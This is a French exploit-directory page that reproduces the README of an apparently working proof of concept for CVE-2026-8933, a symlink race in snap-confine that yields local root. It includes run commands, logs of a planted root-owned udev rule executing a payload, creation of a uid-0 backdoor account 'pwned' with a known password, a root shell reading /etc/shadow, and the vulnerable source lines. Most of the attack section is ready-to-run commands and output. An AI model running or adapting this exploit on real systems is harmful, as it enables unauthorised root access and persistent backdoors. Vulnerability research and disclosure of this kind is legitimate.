Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/songzzzz/cve-2026-8933
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationDéveloppement de Charges Utiles
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

PoC fonctionnel pour CVE-2026-8933 : une course de liens symboliques dans l'espace de noms de montage de snap-confine qui dépose une règle udev appartenant à root, permettant l'obtention d'un accès root local via systemd-udevd.

Voir le dépôt
2il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8933 — course de namespace de montage dans snap-confine → shell root local

PoC fonctionnel. Escalade de privilèges locale complète reproduite de bout en bout, d'un utilisateur non privilégié (uid 1000) à un véritable shell root uid-0 — sans mot de passe, sans interaction, sans privilèges préexistants.

Un processus non privilégié amène le binaire à capacités snap-confine à écrire une règle udev appartenant à root dans le /run/udev/rules.d/ de l'hôte ; systemd-udevd exécute ensuite la charge utile PROGRAM= de la règle en tant que root. La charge utile intégrée installe un compte uid-0 avec un mot de passe connu, de sorte que su - pwned (ou ./_rootshell.py) fournit un shell root.

Composantsnap-confine → sc_replicate_base_rootfs() (source snapd 2.73 dans _msc_273.c ; l'hôte testé exécutait snapd 2.76.3 et restait exploitable)
ClasseEscalade de privilèges locale (course de lien symbolique → création arbitraire de fichiers appartenant à root dans /run/udev/** → exécution de code en tant que root)
RésultatShell uid=0(root) depuis un compte non privilégié
Fiabilité16 exécutions : 7 réussies du premier coup, les autres au second ; jamais plus de 2
Portabilitéindépendant de l'hôte : le snap cible, le nom de l'application, la portée cgroup, l'uid et le chemin de snap-confine sont tous détectés à l'exécution
Root requisaucun (voir §9)

Sommaire

TL;DR · 1. Démarrage rapide · 2. Prérequis · 3. Ce que vous devriez voir · 4. Le bug · 5. Gagner les courses · 6. Charge utile · 7. Contenu du paquet · 8. Configuration · 9. Privilèges et nettoyage · 10. Impact et correctif · Dépannage · Références · Avertissement

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Sortie attendue (abrégée) :

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

Le pilote nettoie derrière lui (règle, charge utile, compte implanté, répertoires temporaires et leurs points de montage). KEEP=1 conserve le compte afin que le shell root puisse être utilisé de manière interactive par la suite :

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Démarrage rapide

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] construit t18 + _ftrig, détecte la cible, exécute l'exploit jusqu'à ce qu'il réussisse, déclenche udevd, vérifie la charge utile root et nettoie. 100% 12 est la valeur utilisée pour toutes les mesures ci-dessous ; 0.3% 40 fonctionne également (quota plus serré, plus de tentatives).

Avant de toucher quoi que ce soit, le pilote affiche la cible auto-détectée :

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Prérequis

  • un hôte systemd (gestionnaire utilisateur en cours d'exécution — l'exploit pilote cgroup.freeze sur la portée utilisateur),
  • snap-confine vulnérable, installé set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — et non set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3) pour compiler t18 et _ftrig,
  • au moins un snap installé dont le répertoire /snap/<snap>/current contient un fichier régulier à son premier niveau — c'est cette entrée DT_REG qui fait s'exécuter l'open() vulnérable (par ex. firefox, core22, …). N'importe quel snap de ce type convient ; SNAP=<name> en impose un précis.

./t18 info affiche snap, app, base, unit, scope, confine ainsi que le nombre d'entrées/fichiers réguliers de la cible détectée, puis quitte — un moyen rapide de voir si un hôte est exploitable avec les snaps qu'il a installés.

3. Ce que vous devriez voir

Preuve d'une tentative réussie

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

Le fichier créé par snap-confine avec les privilèges root, sur l'hôte :

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

et le script de charge utile vers lequel il pointe (écrit par l'uid 1000, exécuté par systemd-udevd en tant qu'uid 0) :

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine meurt juste après, sur le montage bind refusé par AppArmor de la même entrée — le fichier est déjà créé et rempli à ce stade.

Shell root

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Fiabilité

16 exécutions de _t18poc.sh sur l'ensemble de la recherche et de la version générique finale ont toutes abouti à l'LPE (7 d'entre elles à la première tentative, les autres à la deuxième) ; aucune exécution n'a nécessité plus de 2 tentatives. Chaque exécution nettoie après elle-même (règle, payload, compte implanté, répertoires temporaires et leurs montages).

4. La faille

snapd 2.73, sc_replicate_base_rootfs() (source dans _msc_273.c) :

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
Télécharger l’outil